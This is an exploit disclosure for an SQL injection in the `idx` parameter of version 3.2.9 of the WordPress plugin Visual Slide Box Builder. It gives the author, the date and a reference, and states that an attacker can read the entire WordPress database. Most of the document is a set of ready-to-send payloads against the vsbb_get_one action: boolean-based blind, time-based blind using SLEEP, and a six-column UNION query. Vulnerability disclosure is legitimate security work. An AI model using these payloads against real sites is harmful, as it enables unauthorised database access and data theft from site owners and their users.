# Title: WordPress Plugin Visual Slide Box Builder 3.2.9 - SQLi
# Author: nu11secur1ty
# Date: 07.11.2022
# Vendor: https://wphive.com/
# Software: https://wphive.com/plugins/wp-visual-slidebox-builder/?plugin_version=3.2.9
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Visual-Slide-Box-Builder-plugin
## Description:
The parameter `idx` from the Visual Slide Box Builder plugin app for
WordPress appears to be vulnerable to SQLi.
The attacker can receive all database information from the WordPress
database and he can use it for very malicious purposes.
[+] Payloads:
```mysql
---
Parameter: idx (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
HAVING 1854=1854
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
AND (SELECT 3837 FROM (SELECT(SLEEP(7)))QHbL)
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: action=vsbb_get_one&idx=-5038 UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x716a626a71,0x4e6b417358754d527a4a69544c57654a53574a64736b5a656e4b7968767a7a4d454243797a796d72,0x717a7a7a71),NULL,NULL#
---
```
